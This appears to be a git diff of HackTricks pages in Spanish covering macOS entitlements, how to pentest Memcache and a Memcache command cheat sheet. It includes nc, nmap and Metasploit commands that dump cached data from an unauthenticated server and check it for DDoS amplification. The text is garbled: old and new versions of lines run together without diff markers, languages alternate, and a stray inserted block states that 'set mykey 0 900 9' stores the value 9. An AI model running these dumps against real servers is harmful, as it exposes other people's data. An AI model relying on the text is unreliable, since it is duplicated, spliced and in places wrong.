Este permiso permite **modificar secciones de sus propios archivos ejecutables** en disco para salir de forma forzada. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
Este derecho permite **modificar secciones de sus propios archivos ejecutables** en disco para salir forzosamente. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
El Permiso de Deshabilitar Protección de Páginas Ejecutables es un permiso extremo que elimina una protección de seguridad fundamental de tu aplicación, lo que hace posible que un atacante reescriba el código ejecutable de tu aplicación sin ser detectado. Prefiere permisos más estrechos si es posible.
El Derecho de Desactivar la Protección de Memoria Ejecutable es un derecho extremo que elimina una protección de seguridad fundamental de tu aplicación, lo que permite a un atacante reescribir el código ejecutable de tu aplicación sin detección. Prefiere derechos más restringidos si es posible.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -164,31 +165,32 @@ TODO
### `com.apple.private.nullfs_allow`
Este permiso permite montar un sistema de archivos nullfs (prohibido de forma predeterminada). Herramienta: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
Este derecho permite montar un sistema de archivos nullfs (prohibido por defecto). Herramienta: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
Según esta publicación de blog, este permiso de TCC se encuentra generalmente en la forma:
Según esta publicación de blog, este permiso TCC generalmente se encuentra en la forma:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
Permitir que el proceso **solicite todos los permisos de TCC**.
Permitir que el proceso **pida todos los permisos de TCC**.
### **`kTCCServicePostEvent`**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
</details>

View file

@ -1,28 +1,29 @@
# 11211 - Pentesting Memcache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información del Protocolo
## Protocol Information
Desde [wikipedia](https://en.wikipedia.org/wiki/Memcached):
From [wikipedia](https://en.wikipedia.org/wiki/Memcached):
> **Memcached** (pronunciación: mem-cashed, mem-cash-dee) es un sistema de [caché de memoria](https://en.wikipedia.org/wiki/Memory\_caching) distribuida de propósito general. A menudo se utiliza para acelerar sitios web dinámicos basados en bases de datos mediante el almacenamiento en caché de datos y objetos en RAM para reducir la cantidad de veces que se debe leer una fuente de datos externa (como una base de datos o una API).
> **Memcached** (pronunciación: mem-cashed, mem-cash-dee) es un sistema de [caché de memoria](https://es.wikipedia.org/wiki/Cach%C3%A9_de_memoria) distribuido de propósito general. A menudo se utiliza para acelerar sitios web dinámicos impulsados por bases de datos al almacenar en caché datos y objetos en RAM para reducir la cantidad de veces que se debe leer una fuente de datos externa (como una base de datos o API).
Aunque Memcached admite SASL, la mayoría de las instancias están **expuestas sin autenticación**.
**Puerto predeterminado:** 11211
**Puerto por defecto:** 11211
```
PORT STATE SERVICE
11211/tcp open unknown
@ -31,13 +32,13 @@ PORT STATE SERVICE
### Manual
Para extraer toda la información guardada dentro de una instancia de memcache necesitas:
Para exfiltrar toda la información guardada dentro de una instancia de memcache, necesitas:
1. Encontrar **slabs** con **elementos activos**
2. Obtener los **nombres de clave** de los slabs detectados anteriormente
3. Exfiltrar los **datos guardados** obteniendo los nombres de clave
2. Obtener los **nombres de las claves** de los slabs detectados anteriormente
3. Exfiltrar los **datos guardados** obteniendo los **nombres de las claves**
Recuerda que este servicio es solo una **caché**, por lo que **los datos pueden aparecer y desaparecer**.
Recuerda que este servicio es solo un **cache**, por lo que **los datos pueden aparecer y desaparecer**.
```bash
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
@ -51,18 +52,6 @@ sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
```
### Manual2
#### Memcached
Memcached es un sistema de almacenamiento en caché de objetos de alto rendimiento. Es comúnmente utilizado para acelerar aplicaciones web al almacenar en caché datos y objetos en la memoria RAM. Memcached escucha en el puerto 11211 por defecto y no tiene autenticación habilitada de forma predeterminada. Esto puede llevar a posibles riesgos de seguridad si no se configura adecuadamente.
#### Escaneo de Memcached
Puedes escanear Memcached utilizando herramientas como `nmap` para identificar servidores Memcached expuestos en una red. Una vez identificado, puedes intentar acceder a ellos y realizar pruebas de penetración para evaluar posibles vulnerabilidades y riesgos de seguridad.
#### Ataques a Memcached
Algunos ataques comunes a Memcached incluyen la amplificación de ataques DDoS, donde un atacante puede enviar solicitudes falsificadas a servidores Memcached expuestos, provocando respuestas amplificadas que abruman al objetivo. Es importante asegurarse de que los servidores Memcached estén correctamente configurados y protegidos para evitar este tipo de ataques.
```bash
sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
@ -75,49 +64,51 @@ nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
```
## **Volcado de Claves de Memcache**
## **Dumping Memcache Keys**
En el ámbito de memcache, un protocolo que ayuda a organizar datos por fragmentos, existen comandos específicos para inspeccionar los datos almacenados, aunque con limitaciones notables:
En el ámbito de memcache, un protocolo que ayuda a organizar datos por slabs, existen comandos específicos para inspeccionar los datos almacenados, aunque con notables limitaciones:
1. Las claves solo se pueden volcar por clase de fragmento, agrupando claves de tamaño de contenido similar.
2. Existe un límite de una página por clase de fragmento, lo que equivale a 1 MB de datos.
3. Esta función es no oficial y puede ser descontinuada en cualquier momento, como se discute en los [foros comunitarios](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
1. Las claves solo se pueden volcar por clase de slab, agrupando claves de tamaño de contenido similar.
2. Existe un límite de una página por clase de slab, equivalente a 1MB de datos.
3. Esta función es no oficial y puede ser descontinuada en cualquier momento, como se discute en [foros comunitarios](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
La limitación de solo poder volcar 1 MB de potencialmente gigabytes de datos es particularmente significativa. Sin embargo, esta funcionalidad aún puede ofrecer información sobre patrones de uso de claves, dependiendo de necesidades específicas. Para aquellos menos interesados en la mecánica, una visita a la [sección de herramientas](https://lzone.de/cheat-sheet/memcached#tools) revela utilidades para volcados completos. Alternativamente, se describe a continuación el proceso de usar telnet para interactuar directamente con configuraciones de memcached.
La limitación de poder volcar solo 1MB de potencialmente gigabytes de datos es particularmente significativa. Sin embargo, esta funcionalidad aún puede ofrecer información sobre los patrones de uso de claves, dependiendo de las necesidades específicas. Para aquellos menos interesados en la mecánica, una visita a la [sección de herramientas](https://lzone.de/cheat-sheet/memcached#tools) revela utilidades para un volcado completo. Alternativamente, el proceso de usar telnet para la interacción directa con configuraciones de memcached se describe a continuación.
### **Cómo Funciona**
### **How it Works**
La organización de la memoria de Memcache es fundamental. Al iniciar memcache con la opción "-vv", se revelan las clases de fragmentos que genera, como se muestra a continuación:
La organización de la memoria de Memcache es fundamental. Iniciar memcache con la opción "-vv" revela las clases de slab que genera, como se muestra a continuación:
```bash
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
[...]
```
Para mostrar todas las losas actualmente existentes, se utiliza el siguiente comando:
Para mostrar todos los slabs existentes actualmente, se utiliza el siguiente comando:
```bash
stats slabs
```
Añadir una clave única a memcached 1.4.13 ilustra cómo se poblán y gestionan las clases de fragmentos. Por ejemplo:
Agregar una sola clave a memcached 1.4.13 ilustra cómo se poblan y gestionan las clases de slab. Por ejemplo:
```bash
set mykey 0 60 1
1
STORED
```
Ejecutar el comando "stats slabs" después de agregar una clave proporciona estadísticas detalladas sobre la utilización de las placas:
Ejecutar el comando "stats slabs" después de la adición de la clave produce estadísticas detalladas sobre la utilización de los slabs:
```bash
stats slabs
[...]
```
Este resultado revela los tipos de fragmentos activos, los fragmentos utilizados y las estadísticas operativas, ofreciendo información sobre la eficiencia de las operaciones de lectura y escritura.
Este resultado revela los tipos de slab activos, los chunks utilizados y las estadísticas operativas, ofreciendo información sobre la eficiencia de las operaciones de lectura y escritura.
Otro comando útil, "stats items", proporciona datos sobre las evicciones, las limitaciones de memoria y los ciclos de vida de los elementos:
Otro comando útil, "stats items", proporciona datos sobre desalojos, restricciones de memoria y ciclos de vida de los elementos:
```bash
stats items
[...]
```
### **Volcado de claves**
Estas estadísticas permiten hacer suposiciones fundamentadas sobre el comportamiento de caché de la aplicación, incluida la eficiencia de la caché para diferentes tamaños de contenido, la asignación de memoria y la capacidad para almacenar en caché objetos grandes.
Para versiones anteriores a 1.4.31, las claves se vuelcan por clase de fragmento usando:
### **Volcando Claves**
Para versiones anteriores a 1.4.31, las claves se vierten por clase de slab usando:
```bash
stats cachedump <slab class> <number of items to dump>
```
@ -127,57 +118,57 @@ stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END
```
Este método itera sobre las clases de fragmentos, extrayendo y opcionalmente volcando los valores de las claves.
Este método itera sobre las clases de slab, extrayendo y opcionalmente volcando valores clave.
### **VOLCADO DE CLAVES DE MEMCACHE (VER 1.4.31+)**
### **VOLCANDO CLAVES DE MEMCACHE (VER 1.4.31+)**
Con la versión de memcache 1.4.31 y superior, se introduce un nuevo método más seguro para volcar claves en un entorno de producción, utilizando el modo no bloqueante como se detalla en las [notas de la versión](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Este enfoque genera una salida extensa, por lo tanto, se recomienda emplear el comando 'nc' para mayor eficiencia. Algunos ejemplos incluyen:
Con la versión de memcache 1.4.31 y superiores, se introduce un nuevo método más seguro para volcar claves en un entorno de producción, utilizando el modo no bloqueante como se detalla en las [notas de la versión](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Este enfoque genera una salida extensa, de ahí la recomendación de emplear el comando 'nc' para mayor eficiencia. Los ejemplos incluyen:
```bash
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
```
### **HERRAMIENTAS DE VOLCADO**
### **HERRAMIENTAS DE DUMPING**
Tabla [desde aquí](https://lzone.de/blog).
| Lenguajes de Programación | Herramientas | Funcionalidad | | |
| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [script simple](http://snipt.org/xtP) | Imprime nombres de claves. | | |
| Perl | [script simple](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Imprime claves y valores. | | |
| Ruby | [script simple](https://gist.github.com/1365005) | Imprime nombres de claves. | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Herramienta en módulo CPAN. | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI de Monitoreo de Memcache que también permite el volcado de claves. | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **¡Congela tu proceso de memcached!** Ten cuidado al usar esto en producción. Aún así, puedes evitar la limitación de 1MB y realmente volcar **todas** las claves. | | |
| Lenguajes de Programación | Herramientas | Funcionalidad | | |
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [script simple](http://snipt.org/xtP) | Imprime nombres de claves. | | |
| Perl | [script simple](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Imprime claves y valores | | |
| Ruby | [script simple](https://gist.github.com/1365005) | Imprime nombres de claves. | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Herramienta en el módulo CPAN | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Interfaz gráfica de monitoreo de Memcache que también permite volcar claves | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **¡Congela tu proceso de memcached!** Ten cuidado al usar esto en producción. Aún así, puedes sortear la limitación de 1MB y realmente volcar **todas** las claves. | | |
## Solución de Problemas <a href="#troubleshooting" id="troubleshooting"></a>
### Límite de Datos de 1MB <a href="#1mb-data-limit" id="1mb-data-limit"></a>
Ten en cuenta que antes de memcached 1.4 no puedes almacenar objetos mayores a 1MB debido al tamaño máximo de fragmento predeterminado.
Ten en cuenta que antes de memcached 1.4 no puedes almacenar objetos más grandes de 1MB debido al tamaño máximo de slab predeterminado.
### ¡Nunca Establezcas un Tiempo de Espera > 30 Días! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
Si intentas "establecer" o "agregar" una clave con un tiempo de espera mayor al máximo permitido, es posible que no obtengas lo que esperas, ya que memcached trata el valor como una marca de tiempo Unix. Además, si la marca de tiempo está en el pasado, no hará nada en absoluto. Tu comando fallará silenciosamente.
Si intentas “establecer” o “agregar” una clave con un tiempo de espera mayor que el máximo permitido, es posible que no obtengas lo que esperas porque memcached trata el valor como una marca de tiempo de Unix. Además, si la marca de tiempo está en el pasado, no hará nada en absoluto. Tu comando fallará silenciosamente.
Por lo tanto, si deseas utilizar el tiempo de vida máximo, especifica 2592000. Ejemplo:
Así que si deseas usar la vida útil máxima, especifica 2592000. Ejemplo:
```
set my_key 0 2592000 1
1
```
### Claves que desaparecen al desbordarse <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
### Claves Desaparecidas en Desbordamiento <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
A pesar de que la documentación menciona algo sobre envolver alrededor de 64 bits al desbordar un valor usando "incr", hace que el valor desaparezca. Es necesario crearlo nuevamente usando "add"/"set".
A pesar de que la documentación dice algo sobre que el desbordamiento de un valor de 64 bits usando “incr” hace que el valor desaparezca. Necesita ser creado nuevamente usando “add”/”set”.
### Replicación <a href="#replication" id="replication"></a>
memcached en sí no admite replicación. Si realmente la necesitas, debes usar soluciones de terceros:
memcached no soporta replicación. Si realmente lo necesitas, debes usar soluciones de terceros:
* [repcached](http://repcached.lab.klab.org/): Replicación asíncrona multi-maestro (conjunto de parches de memcached 1.2)
* [Interfaz de memcached de Couchbase](http://www.couchbase.com/memcached): Usa CouchBase como reemplazo de memcached
* [yrmcds](https://cybozu.github.io/yrmcds/): Almacenamiento de clave-valor maestro-esclavo compatible con memcached
* [Interfaz memcached de Couchbase](http://www.couchbase.com/memcached): Usa CouchBase como reemplazo de memcached
* [yrmcds](https://cybozu.github.io/yrmcds/): Almacenamiento de clave-valor compatible con memcached Master-Slave
* [twemproxy](https://github.com/twitter/twemproxy) (también conocido como nutcracker): proxy con soporte para memcached
### Hoja de trucos de comandos
### Hoja de Trucos de Comandos
{% content-ref url="memcache-commands.md" %}
[memcache-commands.md](memcache-commands.md)
@ -192,16 +183,17 @@ memcached en sí no admite replicación. Si realmente la necesitas, debes usar s
* [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,66 +1,67 @@
# Comandos de Memcache
# Memcache Commands
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Hoja de trucos de Comandos
## Commands Cheat-Sheet
**Desde** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Los comandos admitidos (los oficiales y algunos no oficiales) están documentados en el documento [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Los comandos soportados (los oficiales y algunos no oficiales) están documentados en el [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Lamentablemente, la descripción de la sintaxis no es muy clara y un simple comando de ayuda que liste los comandos existentes sería mucho mejor. Aquí tienes una visión general de los comandos que puedes encontrar en la [fuente](https://github.com/memcached/memcached) (a partir del 19.08.2016):
Lamentablemente, la descripción de la sintaxis no es realmente clara y un simple comando de ayuda que liste los comandos existentes sería mucho mejor. Aquí hay un resumen de los comandos que puedes encontrar en el [source](https://github.com/memcached/memcached) (a partir del 19.08.2016):
| Comando | Descripción | Ejemplo |
| Command | Description | Example |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Lee un valor | `get mykey` |
| get | Lee un valor | `get mykey` |
| set | Establece una clave incondicionalmente | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Asegúrate de usar \r\n como saltos de línea al usar herramientas de línea de comandos de Unix. Por ejemplo&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Agrega una nueva clave | `add newkey 0 60 5` |
| replace | Sobrescribe la clave existente | `replace key 0 60 5` |
| append | Adjunta datos a la clave existente | `append key 0 60 15` |
| prepend | Agrega datos al principio de la clave existente | `prepend key 0 60 15` |
| incr | Incrementa el valor numérico de la clave dada por un número dado| `incr mykey 2` |
| decr | Decrementa el valor numérico de la clave dada por un número dado| `decr mykey 5` |
| delete | Elimina una clave existente | `delete mykey` |
| flush\_all | Invalida todos los elementos inmediatamente | `flush_all` |
| add | Agrega una nueva clave | `add newkey 0 60 5` |
| replace | Sobrescribe una clave existente | `replace key 0 60 5` |
| append | Agrega datos a una clave existente | `append key 0 60 15` |
| prepend | Precede datos a una clave existente | `prepend key 0 60 15` |
| incr | Incrementa el valor numérico de la clave por un número dado | `incr mykey 2` |
| decr | Decrementa el valor numérico de la clave por un número dado | `decr mykey 5` |
| delete | Elimina una clave existente | `delete mykey` |
| flush\_all | Invalida todos los elementos inmediatamente | `flush_all` |
| flush\_all | Invalida todos los elementos en n segundos | `flush_all 900` |
| stats | Imprime estadísticas generales | `stats` |
| | Imprime estadísticas de memoria | `stats slabs` |
| | Imprime estadísticas de asignación de nivel superior | `stats malloc` |
| | Imprime información sobre elementos | `stats items` |
| stats | Imprime estadísticas generales | `stats` |
| | Imprime estadísticas de memoria | `stats slabs` |
| | Imprime estadísticas de asignación de nivel superior | `stats malloc` |
| | Imprime información sobre los elementos | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Restablece contadores de estadísticas | `stats reset` |
| lru\_crawler metadump | Volcar (la mayoría de) los metadatos de (todos) los elementos en la caché | `lru_crawler metadump all` |
| version | Imprime la versión del servidor | `version` |
| verbosity | Aumenta el nivel de registro | `verbosity` |
| quit | Termina la sesión | `quit` |
| | Restablece los contadores de estadísticas | `stats reset` |
| lru\_crawler metadump | Volcar (la mayor parte de) los metadatos de (todos) los elementos en la caché | `lru_crawler metadump all` |
| version | Imprime la versión del servidor. | `version` |
| verbosity | Aumenta el nivel de registro | `verbosity` |
| quit | Termina la sesión | `quit` |
#### Estadísticas de Tráfico <a href="#traffic-statistics" id="traffic-statistics"></a>
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
Puedes consultar las estadísticas de tráfico actuales usando el comando
```
stats
```
Obtendrás un listado que muestra el número de conexiones, bytes enviados/recibidos y mucho más.
Obtendrás un listado que muestra el número de conexiones, bytes entrantes/salientes y mucho más.
**Ejemplo de salida:**
Ejemplo de salida:
```
STAT pid 14868
STAT uptime 175931
@ -88,11 +89,42 @@ END
```
#### Estadísticas de Memoria <a href="#memory-statistics" id="memory-statistics"></a>
Puedes consultar las estadísticas actuales de memoria usando
Puedes consultar las estadísticas de memoria actuales usando
```
stats slabs
```
Ejemplo de salida:
```markdown
# Memcached Commands
Memcached es un sistema de almacenamiento en caché de objetos en memoria que se utiliza para acelerar aplicaciones web al aligerar la carga de bases de datos. A continuación se presentan algunos comandos comunes de Memcached.
## Comandos Básicos
- **set**: Almacena un valor en la caché.
- **get**: Recupera un valor de la caché.
- **delete**: Elimina un valor de la caché.
- **flush_all**: Limpia todos los datos de la caché.
## Comandos Avanzados
- **incr**: Incrementa el valor de una clave.
- **decr**: Decrementa el valor de una clave.
- **cas**: Comando de comparación y cambio.
## Ejemplo de Uso
```bash
set mykey 0 900 9
```
Este comando almacena el valor `9` en la clave `mykey` con una duración de 900 segundos.
```bash
get mykey
```
Este comando recupera el valor almacenado en `mykey`.
```
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -113,21 +145,15 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
Si no estás seguro de si tienes suficiente memoria para tu instancia de memcached, siempre debes estar atento a los contadores de "evictions" proporcionados por el comando "stats". Si tienes suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando.
Si no está seguro de si tiene suficiente memoria para su instancia de memcached, siempre esté atento a los contadores de "evictions" proporcionados por el comando "stats". Si tiene suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando.
#### ¿Qué claves se utilizan? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
#### ¿Qué Claves Se Usan? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puedes usar el
